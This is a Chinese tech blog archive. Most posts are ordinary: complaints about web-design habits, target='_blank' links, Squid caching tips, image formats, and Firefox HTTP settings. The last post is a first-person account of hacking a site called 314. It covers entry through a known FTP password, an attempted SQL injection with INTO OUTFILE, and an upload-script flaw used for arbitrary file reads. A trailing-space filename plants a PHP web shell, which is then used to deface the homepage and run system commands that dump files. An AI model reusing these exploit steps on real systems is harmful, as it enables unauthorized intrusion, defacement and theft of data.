再写几个做网站的流氓行为
October 27, 2007 7:07 pm PDT | In Tech | 7 Comments | hide网站设计里的流氓行为一般人注意不到,但是作为一个技术愤青,每看到一个流氓设计,我就会骂一次。
- 偷输入焦点。有些网站的输入框是这样设计的:当鼠标移上去就获得了输入焦点,然后不用点鼠标就可以直接键盘输入了。这看似人性化,实则却非常违背常理,我喜欢在哪里输入就在哪里输入,怎么我动一动鼠标移过了你的输入框你就认为我要在你那里输入了呢?你傻不傻啊,请问有哪一个 windows 程序是这样设计的?难道你要跟我说某类诡异的 X window 窗口管理器么?你真要提醒我这儿有个输入框可以,变变色比方说,但是你不要把我的输入焦点抢了啊。
- 搜索框里提示这里可以搜索。一般这类搜索框是这样设计的:初始设置文字 ’search here…’;onfocus() 判断如果内容是 ’search here…’ 则清空输入框;onblur() 判断如果内容是空则重置输入框内容为 ’search here…’。这个很聪明的设计看似节省了提示文字的空间,但在我看来实在是可以列入 SB 吉尼斯纪录。你要提示这儿有个搜索框,写在搜索框旁边会死啊?一个好好的网页难道就缺这么一点儿空间吗?网页搞得密密麻麻号称信息密度高的网页一般来说可读性却很低。而且,如果我在框里输入了东西,’search here…’ 就出不来了,我反而不知道这个输入框是干啥的了。另外,我还有一个习惯是在网页里面选中文字拖进搜索框进行搜索,对于这类 SB 设计的输入框,我拖文字进去就变成了 ’search h选中的文字ere…’,真是傻极了。
- 滥用 javascript。有些网站哪怕一个普通链接也要用 javascript 函数来跳转,搞得我没办法直接在新窗口打开这个网页。你要搞点小动作可以在 <a 的 onclick() 里面搞,href 给我好好的写上目标网页的 url 有这么难吗?
- 滥用 flash。flash 是个好东西,但是不要滥用。比方网站导航结构不要用 flash,要不然没装或者关掉 flash 的地方就不能正常使用网站了。
- 某个门户网站把广告和搜索结果搞得几乎一模一样的 style,faint。还有漂浮广告,随便乱弹新窗口,等等等等,批判这些的貌似很多,我就不写了……
在新窗口打开链接是流氓行为
October 22, 2007 1:28 am PDT | In Tech | 8 Comments | hide完整的标题是“随便设置强制在新窗口打开链接是流氓行为”(不过太长了……)早在上个世纪末有人总结的 1999 年十大网页设计错误的第二条就是强制在新窗口打开链接。这个 target=”_blank” 真是一个鸡肋,为什么我认为随便设置这个玩意儿是流氓行为呢?因为它的坏处太明显了……
- 如果已经设置了 target=”_blank”,用户希望在当前窗口打开这个链接就很难(可以把链接拖进地址栏,不过第一拖起来不是很爽,第二也不是所有的情况下都能用);反之对于一个普通链接,如果用户想在新窗口打开,则方法很多(鼠标中键,shift+click,等)。老子浏览网页老子自己作主,老子要开新窗口老子自己会开,凭什么你个 SB 网站来控制我浏览的行为?
- 在新窗口打开的网页中,Back 按钮就失去了前面浏览网页的历史。
- 大多数用户在不被提示的情况下认为链接会在当前窗口打开,一点链接突然蹦出一个白窗口出来是一件很不爽的事情。违背用户直觉是 usability 的一大忌。
- Tab 浏览器配置下新手如果没有意识到新窗口是在新 Tab 后台方式打开的,往往会点好多次链接,然后出来无数个 Tab……
- 新窗口占用下面的任务栏空间,不过这个问题现在已经不是大问题了。
比较好笑的是,似乎国内很多网民对新窗口打开网页已经习以为常,纵观各类门户网站,似乎在新窗口打开链接是标准设置。以搜索引擎给出的链接为例,baidu.com 默认是新窗口打开,google.com 默认则是在当前窗口打开(当然这个设置可以自定义)。很不巧,这两个设置我都知道一点内幕,两个公司都是经过深思熟虑广泛调查之后设置的默认值,可见国内网民的浏览习惯。更奇怪的是,我经常看见有人大骂 google SB,竟然不保留自己的搜索结果而在当前窗口打开链接,我想说,你 TMD 才 SB,google 给你自由选择你 TMD 还不要。
不过没有办法,这么多网站还在重复着上个世纪的错误,而且导致广大被洗脑的网民也接受了这样的浏览习惯,真是无语。首先,作为用户,良好的浏览习惯是什么?良好的浏览习惯就是想开新窗口的时候明知道这个链接是新窗口打开的,还是偏要用鼠标中键打开它。这个就跟学开车一样,不要碰到车一多就把脚放在刹车上,这样养成习惯以后碰到紧急情况就一脚下去踩死了油门,岂不自寻死路。哦,好像跑题了。
接下来,作为网站的开发者,你 TMD 为啥要在新窗口打开网页呢,有人说为了网民习惯考虑,放屁,你只要乖乖的设置当前窗口打开就行了,你没个(本链接在新窗口打开)的文字,鬼才知道你是新窗口打开的(不过 Opera Safari 默认可以显示,顺便赞一个)。也有人说为了自己这个网页还开着(这个理由经常对去别站的链接使用),这其实也是放屁。用户希望看你的网站,是因为你网页里面有他需要的信息,而不是你的网页还开着。如果用户需要你这个网页还开着,他自然会自己在新窗口打开链接,用得着你操心么。再说了,你新开一个窗口把你自己的窗口遮住了,而且连 Back 按钮都不能用了,新手反而会糊涂不知道怎么回来了。
好了,骂够了。有没有需要强制在新窗口打开链接的情况呢,也是有的,几个常见的情况是:
- 打印当前窗口的内容。这个其实现在更推荐用 @media print/screen 两套 CSS 来解决问题,当然 ajax 类网站做这个比较难,新窗口打开打印模式也是很人性化的。
- 打开非网页类的链接,比如大 PDF、大图片。不但可以后台下载大文件,也可以防止有些用户误以为是文档窗口把浏览器整个儿关掉。
- 填表的辅助窗口,比方选日期。这个其实现在也不推荐开新窗口,直接用 DHTML 在当前网页里面做未必难做,不过技术力量不强的话开辅助新窗口应该是最合理的方式。
Squid 优化补遗
August 30, 2007 6:40 pm PDT | In Tech | No Comments | hideSquid 优化补遗
by wuxinan[at]wuxinan[dot]net , 转载请保留。
康神早年写过一个 Squid 高级优化指南 系列,可惜似乎没有完全写完。当时协助康神调整优化某站,康神就是寥寥数笔,搞定了大配置方向和几个重要优化,留下我等小屁孩跟在康神后头做了一些细枝末节的工作。大师就是大师,做事情如此,写文章亦是如此。既然如此,那我就当做点技术笔记,补充一些细节问题。如果你没有看过康神的系列文章,那么最好先拜读一下康神的系列:
- Squid 高级优化指南/Squid Advanced Tuning Guide
- Squid 高级优化指南/Squid Advanced Tuning Guide(续1)
- Squid 高级优化指南/Squid Advanced Tuning Guide(续2)
还有一篇不属于这个系列但是涉及到 cacti 监视 squid 的,也是好文章:
下面是我献丑的补遗。
A. 数据反馈
康神教导我们:反馈是做一切事情的基础,优化也不例外。那么具体看一些什么反馈数据呢?很遗憾,这个问题没有固定的答案,基本上需要具体问题具体分析。具体来说,用 cacti 之类的看 squid snmp 数据是第一步。主要的数据有:
- BHR (Byte Hit Rate)/RHR (Request Hit Rate),这两个分别表示有多少数据量/请求数是被 squid hit cache 的。要特别注意的是,squid hit cache 并不等于 squid 不往主服务器发请求。具体情况在 squid 2.5/2.6 里面参看 isTcpHit() 函数。举个例子,如果 RHR 显示 90%,那么可能有 20% 的请求 squid 还是往主服务器发送了请求询问它过期的 cache 内容是否有变化的,只不过主服务器的回应是没有变化。主服务器的判断一般需要一次数据库查询或者文件系统的 stat 调用。高负荷服务器到最后如果瓶颈在主服务器磁盘 I/O,这些貌似 HIT 的请求也会对主服务器造成一定量的冲击。单纯盲目追求高 BHR/RHR 是不可靠的。
- Service Time,这个是各类请求的回应时间,但是这个时间受到外部网络速度的影响,所以也不一定代表真实的性能。另外,如果出现 Miss Service Time 比别的几个 Service Time 指标高出很多,表示去主服务器的请求耗时比较长,一般是代表瓶颈在主服务器那里,但这也不是绝对的。如果 squid 服务器磁盘 I/O 性能跟不上或者 CPU 不够强劲(squid 2 核心是可怜的单进程),那么也可能是 squid 本身的调度出了问题。
- Storage,在特定情况下可以估算 squid 每天缓存多少东西,在配置缓存大小等问题的时候会有帮助。
总的来说,squid snmp 数据是需要根据具体情况分析的,而且 squid snmp 的数据也不多,有时候往往需要配合别的监控来综合分析问题,比方网络出入流量,服务器的各类性能分析,主服务器和 squid access log。有一次我在某站 squid 调整了一个参数,结果那天 squid 的反应奇好,BHR 更是上了前所未有的 98%。但是后来反复推敲发现这个参数并没有作用,结合各类 log 分析发现是因为那天 frjj 贴了新照片,而且被盗链,导致巨大比例的 frjj 照片的请求被 squid 有效的缓存,squid 网络出流量激增也支持这个结论。说了半天,中心意思是高负荷服务器的 squid 优化是一个长期而艰巨的任务,某些参数的优化需要几天的数据才能得出有意义的结论,所以需要有足够的耐心和针对实际情况的系统化的优化步骤。
B. 缓存策略
康神教导我们:一般来说,(缓存策略)如果后端不是配置很麻烦,建议还是在后端做,前端的配置修改大多数都是违背 http 协议的,如果出现问题,也比较难排查。HTTP 缓存协议比较权威的可以参考 RF2616 第十三章,特别是 13.2 和 13.3 节。具体实现可以参考比方 Firefox 代码 nsHttpResponseHead.cpp 的 ComputeCurrentAge() 和 ComputeFreshnessLifetime() 函数看看各类情况的处理方式。mod_expires 的配置就需要深刻理解这些基本概念,否则可能反而会增加请求数。如果没有特别的理由,静态文件的过期时间一般是设置为 access time 加上一定量的时间。这个一定量的时间由具体情况决定。比如网站建设初期,各类静态文件可能需要比较短的过期时间以方便网站更新;而一旦美工敲定图片,图片的过期时间可以大胆的设置为几个月。在配置完成以后如果没有很大的把握也可以实际浏览一下分析请求序列看是否浏览器端和 squid 服务器都做到了有效的缓存,特别注意 cache 相关的请求和回复头,包括 squid 提供的 X-Cache 头。
另外,虽然违反 HTTP 协议的 squid 配置一般都不推荐,但是具体到细节上,这也不是绝对的原则。下面举例说说必须违反 HTTP 协议的情况。
- 使用 javascript 做镜像网站测速,一般实现方式是从各个镜像站下载一个图片看哪一个最快。最理想的情况是图片在浏览器端不要缓存(以便下次准确测速),但是这个请求又完全没必要打到主服务器上。那么可以在 squid 里针对这个图片 url 配置强制缓存 refresh_pattern reload-into-ims ignore-reload。当然这个例子很土鳖,只是举个例子。
- reload_into_ims (这里说的是 squid 的配置参数,不是 refresh_pattern 里面的 option)。这个参数虽然违反 HTTP 协议但是对大部分网站来说是可以设置为 on 的,只要后端服务器对 If-Modified-Since 头的判断正确并且没有潜在安全问题即可。
- 浏览器 F5 刷新和 javascript 的 location.reload() 刷新可能会重新请求所有的网页内嵌元素并且可能带 no-cache 请求头,一般来说 reload_into_ims 设置成 on 已经足够保证对主服务器不造成冲击,但是如果有必要可能还是需要在 squid 配置强制缓存。
- 针对土鳖客户端的优化。比如早期的 fterm 预览图片会发送 Pragma: no-cache 的请求头,这势必导致所有 fterm 预览图片的请求如数全部打在后端服务器上,所以解决方法是 squid 这里做手脚针对这类 url 配置强制缓存。一个细节问题是如果不能缓存的图片(比方有察看权限限制的)和能缓存的图片的 url 结构完全一样,那么在 squid 强制缓存这类 url 的话又会有潜在的安全问题,这里涉及到后面会讲到的网站结构优化,针对这个问题需要修改网站的代码以明确区分这两类 url。还有另外一个例子是早期的 firefox 发送 XMLHttpRequest 请求也会发送 no-cache 的头,后来的版本改了。当年这一类 ajax 请求的 url 也是需要配置强制缓存的。
- 最后一个问题是,如果在特殊情况下必须在后端服务器发送 Expires 头,并且同时又在 squid 中配置这类 url 的 refresh_pattern,那么需要特别小心。比如,如果 squid 强制缓存时间比 mod_expires 配置的过期时间长,那么可能造成 squid 发送已经过期的内容,导致浏览器本来可以有效缓存的内容却需要不断的向服务器检查更新。
最后,有些后端服务器没办法配置 mod_expires。这可能是因为没有配置权限,也可能是因为后端服务器软件太土鳖,总之这样的情况下就必须用 squid 配置 refresh_pattern 了。
C. 网站代码及结构优化
康神教导我们:很多 squid 优化(的文章)只限于在 squid 参数和系统参数上面的调整。但是这个实在只是细枝末节的事情,只要不是太弱智的配置导致无法缓存,squid 的性能不会有太大差距。网站优化一般来说也是属于这种类型的优化,对于主服务器负荷瓶颈在磁盘 I/O,或者网络瓶颈是大量大图片文件的情况,优化网站 html 结构可能对性能提升没有半点作用。不过即便如此,有一个为 squid 考虑的网站结构,可以使得 squid 服务器的配置比较容易,也可以比较容易的实现多 squid 业务分拆,有的时候业务分拆并不是为了性能,而是为了更好的分析问题以便进一步优化网站。下面简要说说有可能提高性能的网站代码优化。
- 减少页面大小。这个问题实在是到处都有好文章,我就不详细说了。常见技巧是分离 css/js 到单独文件减少动态主页面大小同时保证静态内容有效缓存;页面 layout 设计尽量使用 div+css;有大量冗余 html 元素的部分使用 javascript 来输出。最后这个页面 javascript 化可能需要考虑搜索引擎优化 (SEO) 的问题,总的来说需要在减少流量和 SEO 之间寻找一个好的平衡点,这个只有做网站的人自己最清楚。
- 减少同一份数据的不同表现形式。大量使用 ajax 的站点有时候考虑 SEO 往往要重写一套给搜索引擎看的页面,这势必导致 squid 这里要存两套页面。但是如果功力足够还是可以做到大部分页面重用。举例来说,网站可能希望用户读文章不切换页面而使用 XMLHttpRequest 载入,这个就可以在 <a href 写上文章内容的页面以便搜索引擎扒站同时也允许用户在新窗口打开这个文章,而 onclick 事件则触发 XMLHttpRequest 载入页面并分析显示内容。只要代码写的足够漂亮,这里用一个文章页面就可以实现所有的功能。
- 标准化 url。这个可以算前一条的补充。写网站如果不小心,可能同一个资源会有不同的 url。比方某篇文章,从主页进去的 url 是 article?bid=3&id=50,从搜索结果进去却是 article?id=50&bid=3。这样两个页面,不但影响外部搜索引擎排名(自己和自己打架),更会影响 squid 效率,因为 squid 需要单独存这两类页面。
- 网站建设初期充分考虑到将来的 squid 优化。举例来说,很多网站都在页面带用户登录信息显示,这样的页面如果不使用 javascript 技巧就完全不可以在 squid 这里 cache。而实际上,如果这些动态内容可以在 javascript 里面通过 cookie 判断出来,那么完全可以用 javascript 来写。这方面的细节工作做得越好,就有越多的页面可以被 squid 安全的缓存。当然这方面的优化有时候也只有网站运行起来才能发现,维护网站的时候多分析 log,多观察,就可以发现这些细小的可以优化的地方,水滴石穿,大量小细节的优化也可以带来可观的性能提升。
D. 一些杂问题
- 同步 squid 和主服务器的时钟。从原理上说即使主服务器、squid 以及浏览器端的时钟都不同步,应该也不会造成缓存策略上的问题,但是为了防止诡异问题的发生,还是配置一下 squid 和主服务器的 ntpd 为好。ntp 是一个极轻量级的协议,现在网络上 ntpd server 也遍地都是,保证服务器时钟准确到 1 秒之内也可以保证别的一些程序的事务处理逻辑。
- 密切注意搜索引擎的动向。有一些搜索引擎做的比较弱智,有的时候会突然发很多请求过来。搜索引擎扒站很容易扒到冷僻内容,所以即使请求量只是普通浏览用户请求量的零头,也可能会对主服务器造成冲击。大部分搜索引擎还是比较守规矩的,甚至有些搜索引擎公司还可以与他们接触配置扒站方案。不老实的搜索引擎可以通过 squid 或者主服务器 log 找出来,特别不老实的可能 iptables 都能发现。解决方法比如可以针对搜索引擎 user agent 判断,或者干脆 iptables 咔嚓掉。
- Cache replacement policy,对大论坛站点,虽然 lru 算法占用 cpu 较低,但是 service time 可能会不如带 dynamic aging 的算法稳定。据观察,lru 算法在运行几天之后的早晨如果突然碰到大量新请求,新请求会很难进入 cache,或者进入了也很快被踢出,导致非常容易形成恶性正反馈拖垮后台服务器。但是假如每天清晨清 cache,并且保证磁盘 cache 的量稍大于每天能存下来的量,那么 lru 算法应该也不会比别的算法差(事实上什么算法都一样了)。当然这只是我的一家之言,一般来说这个问题还是需要根据 squid 服务器性能和网站具体情况多次反复试验选择最合适的算法。一般来说小规模和超大规模的站点优化这个参数可能不会有什么显著的性能提升,所以不建议耗费太多时间优化这个。
- 一定时间清理 cache 并重启 squid。这个有可能只是 squid 2.5 并且是高负荷破机器上需要考虑的一个方案。某站曾经有段时间每天高峰期 Miss Service Time 都会飙升,但是主服务器却没有超负荷的现象,最后推测可能是 squid 自己调度的问题。后来每三天清理 cache 并重启 squid 似乎大大减少了这种现象。后据权威人士批复,这个可能是因为 squid cache replacement 算法过于古老,不适应高速更新的大型论坛所致。
- 多域名宣传的服务器。如果网站允许有多个域名但是所有的域名都指向同一个网站,那么要注意 squid 不要配置成多域名模式,否则它会把每个域名的 cache 都分开处理,导致效率低下而且不能有效利用缓存存储空间。题外话,单个网站宣传多个域名也会影响搜索引擎排名等等,所以本质上也是不推荐这么做的。
- maximum_object_size_in_memory,maximum_object_size 这两个参数的配置也是具体问题具体分析的。具体到某站上,常见的大文件就是附件了,由于附件最大允许大小是 5120 KB,所以 maximum_object_size 配置了 5123 KB 以保证即使最大的附件加上各 HTTP 头也能有效的被缓存。最早这个参数是配置成 5120 KB 的,然后曾经有一次发生 BHR 骤降的情况,后来分析发现是有人贴了 5120 KB RAR 分卷压缩的李宇春同学的视频,而且恰好又有无数玉米下载,大量这类请求因为超容所以都压到了主服务器上。另外 maximum_object_size_in_memory 的配置需要考虑网站具体情况和 squid 服务器的性能,这也需要实际试验出来。
最后废话一句,现在硬件降价很快,给机群升级扩容提升硬件性能往往比找个猪头优化 squid 配置更有效果,而且见效也快。所以在 squid 大配置没有问题的前提下,有钱的话应该首选硬件优化方案而不是软件细节优化。
康神教导我们,windtear 是 squid 之王,Lord of Squid,业务分拆是从他那里学来的,致敬。本文部分内容是间接从 windtear 那里学到的,一并致敬。
GIF、JPEG 和 PNG 的比较
March 1, 2006 3:00 pm PST | In Tech | 3 Comments | hide下面的东西是我很久很久以前写的,今天稍微修改了一下拿出来晒晒太阳:
GIF、JPEG 和 PNG 是三种最常见的图片格式。
- GIF:1987 年诞生,常用于网页动画,使用无损压缩,支持 256 种颜色(一般叫 8 bit 彩色),支持单一透明色;
- JPEG:1992 年出世,照片一般都用这个格式,有损压缩,24 bit 真彩色(224 = 17 万种颜色),不支持动画,不支持透明色;
- PNG:1996 年问世,无损压缩,最常见的使用格式是 256 索引色(PNG-8)和 24 bit 真彩色(PNG-24)(当然 PNG 支持的颜色格式远不止此),支持 full alpha 通道(256 级可调半透明色),不支持动画。
简单比较:
- JPEG v.s. PNG:JPEG 在照片压缩方面拥有巨大的优势,这方面无可替代,但是 JPEG 是有损压缩,图片质量会有损失。另外,一般屏幕截屏用 PNG 格式不但比 JPEG 质量高而且文件大小还更小(维基有图)。
- GIF v.s. PNG:GIF 只在简单动画领域有优势(其实,GIF 256 色限制以及无损压缩机制导致高质量的动画的发布一般都使用 Flash 等格式),只要没有动画,PNG 完全可以取代 GIF。
- 防锯齿:下面是 GIF 和 PNG 防锯齿处理的对比,六张小图片是分别放到浅黄和深绿背景下的情景,三张大图是深绿背景情形的放大。由于 GIF 没有半透明一说,所以防锯齿处理时只能假设背景是白色,这样的 GIF 放在深色背景下还不如不防锯齿。而 PNG 图片可以轻松应付各种背景颜色,特别适合用来做网页和应用程序里的通用防锯齿图标适应不同皮肤,没有 full alpha 通道的 JPEG 和 GIF 都做不到这一点。

可以看到,除了照片和动画,PNG 是最好的格式,但是 PNG 为什么到最近几年才流行起来?有很多原因:
- PNG 诞生的时候互联网已经初具规模,当时 GIF 和 JPEG 已经是很流行的格式了,换格式的迁移成本是很大的,有时候惯性是一个很可怕的东西。
- 浏览器的 PNG 支持比较落后,比如 IE 就是到 IE4 才开始支持 PNG。
- PNG 当初标准里把 alpha 通道写成了 optional 的,土鳖的 IE 一直到 IE7 才开始支持 full alpha 通道。而一般网页图标 256 色足够,所以为了支持 IE6,PNG 相对于 GIF 毫无优势可言,更何况 GIF 还支持动画。
- 尽管从原理上说,同样质量的 PNG 图片文件一般要比 GIF 要小,但是早期很多图片编辑器不支持 PNG,甚至支持的也没有完全利用 PNG 压缩算法里最精妙的部分(最典型的例子就是早期的 Photoshop),保存出来的 PNG 往往巨大无比。现在的软件已经没有这些问题了,但是这个偏见还广泛存在。
关于 firefox 里面和 HTTP 连接有关的参数设置
January 28, 2005 11:22 am PST | In Tech | 3 Comments | hide发信人: atppp (Big Mouse), 信区: Firefox
标 题: 关于 firefox 里面和 HTTP 连接有关的参数设置
发信站: BBS 水木清华站 (Sun Nov 21 08:14:43 2004), 站内
关于 firefox 里面和 HTTP 连接有关的参数设置
本文是我和一个大牛啰里啰唆的聊天记录整理翻译,属于科普,有些地方可能说得不准确,大家不要当作专业技术文章看。欢迎拍砖。
一个典型的网页,是由一个 html 文件和内嵌的各类元素组成的,这些元素包括页面内的图片,css 文件,javascript 文件等等。每一个内嵌的元素在 HTTP 协议的层面上和那个 html 文件是没有区别的:也就是都需要浏览器去服务器上抓下来。一个早期典型的浏览器是这样实现的:当用户敲入网址之后,浏览器和服务器建立连接,请求这个 html 页面,然后边接收服务器发送的 html 页面,边解析,碰到内嵌元素,可以立即开第二条连接请求。另外,如果内嵌元素很多,他可能会开多条连接同时请求。当所有需要的元素都下载完毕之后,浏览器 就会将页面画出来。这个过程就是最早期的 HTTP/1.0 协议所设想的浏览器实现。
HTTP/1.0 这种多连接的运作模式是可以改进的。建立 TCP 连接的过程是这样:客户端给服务器发一个网络包说我要和你建立连接,服务器收到之后回一个网络包说“我愿意”,然后客户端要再发给服务器一个网络包说“好 那咱们开始传数据吧”。这一来一去三个包才能建立 TCP 连接。连接建立之后,浏览器给服务器发请求,服务器给浏览器回应。完事之后又要来回几个网络包关闭 TCP 连接。如果页面有很多文件长度很短的元素,每个元素都需要单建一条连接就会导致网络上大量的都是 TCP 建立连接和断开连接的网络包。另外,TCP 有一个特性叫做 slow start,其含义可以大致这样解释:TCP 连接要求发送端发送一定数量的网络包之后接收端就要回一个“我收到”的网络包,而且网络包在经过每个路由器的时候包头都要被重写,所以在网络不丢包的情况 下网络包越大网络的效率就越高。TCP 连接寻找最优网络包大小的方法是,在 TCP 连接建立的初期,网络包的大小是很小的,根据网络状况,两端的程序才会逐步增大网络包的大小以适应带宽提高网络传输的效率。所以浏览器给服务器发请求,如 果每发一个请求就关闭连接的话,那这个连接的数据传输很难达到带宽所能承载的速度。
基于这种种原因,HTTP/1.1 很快出来了,提出了持久连接(persistent connection)的概念,也就是说同一条 HTTP 连接,可以依次处理多个请求,同时用一定的机制保证各个请求之间的分离性。具体的操作过程是:服务器给浏览器发送回应之后,并不马上关闭连接;浏览器判断 上一个请求的回应已经收完的情况下,可以在这同一个连接上发第二个请求。这种运作模式大大减少了网络包,实验也表明这种做法很有效。但是,由于服务器上保 持连接要占用一定的资源,所以一般服务器不会永久保持持久连接,而且也不推荐浏览器和服务器之间建立过多的持久连接。
持久连接可以进一步提速。这就是 pipelining 了。上面可以看到,浏览器需要等待持久连接里上一个请求的回应完全收完才能发送后面的请求。如果和服务器的连接比较慢,往往持久连接大部分时间都花在等待 而非数据发送/接收上。pipelining 的意思是,浏览器可以在一个持久连接里一次给服务器发送多个请求,服务器在这个连接上依次回应这些请求。这种运作方式和浏览器缓存结合起来的时候会尤其有 效果。比方,图片浏览过后会存在浏览器缓存中,再次请求的时候浏览器会对服务器说,我这里已经有这个图片的缓存了,修改时间是XXXX,如果服务器上这个 图片在这之后没有修改过,就不用重发了。这种情况下,服务器会发一个很短的 304 Not Modified 类型的回应。如果没有 pipelining,每次这样问一下都要等待网络上传输打一个来回;而如果有 pipelining,浏览器可以同时问服务器我这里 4 个图片是否有修改,如果服务器对 pipelining 支持的好,它甚至可以将四个回应放到同一个网络包里面传回来,这是一个大大的加速。
pipelining 最早提出的时候还有一种设想的用法是,如果服务器对 pipelining 支持的好,可以把同一个 pipeline 里面的两个请求放到两个 CPU 上去处理,这样能进一步加快响应速度。当然这个可能也没什么用。
好咯,回过来看一下 firefox about:config network.http.* 的相关参数
network.http.keep-alive 默认是 true
是否允许持久连接,这个默认就是 true,改成 false 的是大傻瓜。
network.http.keep-alive.timeout 默认是 300
持久连接允许的保持时间,这个调大了没意义,因为一般 server 设置的就是 300。
server 把你咔嚓了你还能有什么办法。
network.http.max-connections-per-server 默认是 8
连接同一个服务器允许的最大连接数,一般认为在开启持久连接的情况下把这个数值调大没什么作用,而且不太道德。需要调大的情况比方:你同时从网站下 10 个大文件。
network.http.max-persistent-connections-per-server 默认是 2
连接同一个服务器允许的最大持久连接数,这个数值 HTTP/1.1 标准推荐的是 2。调大了反而增加你自己的网络消耗,而且一般一个服务器允许的持久连接数是有限的,你调大了就可能造成别人可用的减少,如果大家都调大,就意味着网络效 率的丧失。我个人建议不要动这个数值。
network.http.pipelining 默认是 false
是否允许 pipelining,这个功能因为目前还是试验阶段,所以默认没有打开。强烈建议打开。
network.http.pipelining.maxrequests 默认是 4
每个持久连接允许一次发送的请求数。如果 pipeline 里面有一个大图片或者执行时间较长的脚本,后面已经发送的请求就会被阻塞(注意服务器必须是依次回应请求);而在这种情况下,如果没有使用 pipelining,浏览器发现一个请求处理时间很长,自然会使用另一条持久连接用作后续请求,甚至进一步开启非持久连接。另外,如果服务器支持 pipelining 不好而过早的关闭连接,浏览器势必要重新发送请求。基于这种种原因,有人认为这个数字设置得比 2 大反而会降低浏览速度。我个人的推荐是,这个数值一般情况可以保持默认值 4,如果浏览的网站有大量的静态小图片,或者网络速度较慢,可以尝试将其调大。
network.http.max-persistent-connections-per-proxy 默认是 4
每个代理服务器允许的最大持久连接数。4 是目前比较公认的最合适的数值,尽管HTTP/1.1 的推荐值是 2。
network.http.proxy.keep-alive 默认是 true
连接代理服务器是否允许持久连接。true 挺好的。
network.http.proxy.pipelining 默认是 false
连接代理服务器是否允许 pipelining。目前普遍认为大多数代理服务器支持 pipelining 并不好,所以一般不建议打开。
pipelining 目前是一个有争议的,仍旧在实验阶段的特性。虽然它可能确实会加快浏览速度,但是这在一定程度上取决于网络的各项因素,所以不要盲目的按照网上建议的方式设置相关的参数。
314被黑全过程
July 30, 2001 10:41 am PDT | In Tech | No Comments | hide发信人:atp(Big Mouse),信区:网络安全
标 题:利用文件上传脚本的漏洞——最最简单的http攻击
发信站:安全焦点(2001-07-30 10:41:37)
314被黑全过程
漏洞在文件上传的功能
系统服务器:Win32, Apache, PHP, mySQL
本来没打算要黑的,但是因为他们开了FTP服务器,而其中一个用户的密码我又刚好知
道,所以就把他们主页上论坛的代码偷出来看了一下,mySQL的处理不很严密,$id之类
的变量都没有加引号,普通的字符串加了引号但是没有用mysql_escape_string处理,
我一开始就朝这个方向努力。有一个地方是这样写的:
$result=mysql_query("select * from article where flag='' and id="
.$father,$db);
我在一片id是347贴子里面写了个PHP,然后我post了这么一个father:
347 into outfile 'f:/htdocs/cmd.php'
这样就能把贴子的内容写到php里面。注意,我熟悉他们的文件系统,web文件在
"f:\htdocs\"下面我事先是知道的。
但是没有成功,我开始以为是mysql把文件的权限去掉了,过了一会儿才想起来一定是
他们的php.ini里面设置了
magic_quotes_gpc=On
这样引号到了php脚本里面就自动加上了反斜杠,这么基本的概念我忘了,惭愧惭愧
于是我认为他们的论坛是无懈可击的,但是后来我注意到论坛上的一个上传的功能。我
试了一下,禁止了.php的上传,我觉得没有漏洞,但是出于好奇,我把它处理上传的
php拿下来看了一下,最关键的代码是这样的:
else if (file_exists("upload/".$file_name))
$upload_error="已经存在一个叫$file_name 的文件。";
else if (strtolower(substr($file_name,-4))==".php")
$upload_error="不能上传.php 文件。";
else if (preg_match("/\//i",$file_name)) $upload_error="你在干什么?";
else if (!copy($file,"upload/".$file_name)) $upload_error="原因不明。";
看起来判断很严密,因为在windows文件系统里面,最后一个字符是不能为空格的(相
应的材料可以在linux处理vfat的那个模块里面查到)。但是作者没有用
is_uploaded_file来判断,这个漏洞很久远了,我试了下面的URL:
upload.php?file_name=a.txt&file=c:/autoexec.bat
autoexec.bat就可以用浏览器看见了。我觉得不知足,上传了一个instruction.txt的
文件,文件内容如下:
如果这个文件是.php的话就可以用来执行任何的php命令。我用了这样一个URL:
upload.php?file_name=cmd.php%20&file=f:/htdocs/weed/upload/instruction.txt
作者提示了上传以后文件的位置,所以我很容易知道我传上去的instruction.txt的绝
对路径。注意这里我在cmd.php后面加了一个空格,骗过了作者的php脚本,copy函数
忠实的为我服务了。
这样cmd.php就已经在服务器上了。
然后就是直接发命令了,我先上传了一个我自己的首页,然后依次往cmd.php POST了
两个cmd上去:
rename("f:/htdocs/index.php", "f:/htdocs/index.old.php");
rename("f:/htdocs/weed/upload/mypage.html", "f:/htdocs/index.html");
好了,首页已经被改掉了。然后就是很老套了,服务器上有了后门,操作就容易了:
system("dir c:\\");
这个列出了服务器上c:\下面的文件
system("type f:\\htdocs\\weed\\forum.php");
这个列出了论坛的一个PHP的源码。
忠告:做大站点很难保证代码没有一点问题,但是要注意的是,即使是很小的一个漏
洞,也可能可以毁了整个站点。
wuxinan@wuxinan.net
ATP
攻击方法都是很老套的了,可以自由转载
--
※ 来源:·安全焦点讨论区 www.xfocus.org·
This weblog is licensed under a
Creative Commons License.
Powered by WordPress. Theme based on Pool by Borja Fernandez.